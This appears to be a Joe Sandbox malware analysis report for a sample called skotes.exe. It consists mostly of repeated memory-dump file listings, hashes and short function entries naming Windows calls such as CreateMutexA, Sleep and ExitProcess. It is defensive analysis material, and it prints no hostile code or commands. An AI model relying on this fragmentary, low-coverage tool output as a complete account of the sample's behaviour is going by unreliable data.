Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: b68bb58100317552435169733ff71b79f067e80aefb71bdb5842e71267e93264
Instruction ID: ddce9aae9a9ad805a1a51d2a5b2b223544a44cc7f7aa1e2746412328fc8fac43
Opcode Fuzzy Hash: b68bb58100317552435169733ff71b79f067e80aefb71bdb5842e71267e93264
Instruction Fuzzy Hash: 4E214F79A00109AFDF40EFA5CD82EBEB7B9EF08714F10005EF505A7291DB389D019BA5

Function 004EF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004EF3A3

Strings

`'Q, xrefs: 004EF375
8"Q, xrefs: 004EF44B

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"Q$`'Q
API String ID: 3903695350-3906557507
Opcode ID: 70d60bed83a78e2ee43912ca4cb624afbdb0ce1bd6b22ac7f1c6b6f4f3501fd7
Instruction ID: aaf282b0f47a3840ef6044d5e89ba4be529962909687f86ab90450a807c8c15b
Opcode Fuzzy Hash: 70d60bed83a78e2ee43912ca4cb624afbdb0ce1bd6b22ac7f1c6b6f4f3501fd7
Instruction Fuzzy Hash: 0F316931600781EFEB21AA3BD845B5B73EAFF0031BF10442BE445D6691DE78A8948A29

Analysis Process: skotes.exePID: 1088, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1949
Total number of Limit Nodes:	11

Executed Functions

Function 004E652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,004E652A,?,?,?,?,?,004E7661), ref: 004E6567

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e32a94dbb933d2b4cc81b45d2e4807b3a1d3a2b71722319828a73f9e42538059
Instruction ID: 127cea6dab1c7dd50cf33ee00c35d0a7c3f1212a28cfceed1bdb386dfdb308bf
Opcode Fuzzy Hash: e32a94dbb933d2b4cc81b45d2e4807b3a1d3a2b71722319828a73f9e42538059
Instruction Fuzzy Hash: B8E08C30100288BFCE257B6ADC59E493B2AEB2278BF510C05FC0886226CB69ED91C785

Function 004B9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: ec7f2ed42c4c25842a0332404367fc095e033468e1ebce06ad7526bd8b16cc86
Instruction ID: 80706eed7c2fd613b30fa019da4520748c15dc616ecfe0ec2e1e0be59bf27f0b
Opcode Fuzzy Hash: ec7f2ed42c4c25842a0332404367fc095e033468e1ebce06ad7526bd8b16cc86
Instruction Fuzzy Hash: 21314A717041049BEB18DB6CDD89BEDBB62EB82314F20861EE014D73D5C77D5981876A

Function 004B9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 6b8795503003b05f1fb162aab929c6ffde90c8fa12ae5c7abedf2d94f68bce72
Instruction ID: 86e259d10e9a5c9fa1d109128c8c7dc1507df4592ec7b0204bf11b94cfe3be80
Opcode Fuzzy Hash: 6b8795503003b05f1fb162aab929c6ffde90c8fa12ae5c7abedf2d94f68bce72
Instruction Fuzzy Hash: 2A314A717102048BEB18EB6CDD84BEDB762EB86314F248A1EE014D73D1C77D5991876A

Function 004BA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
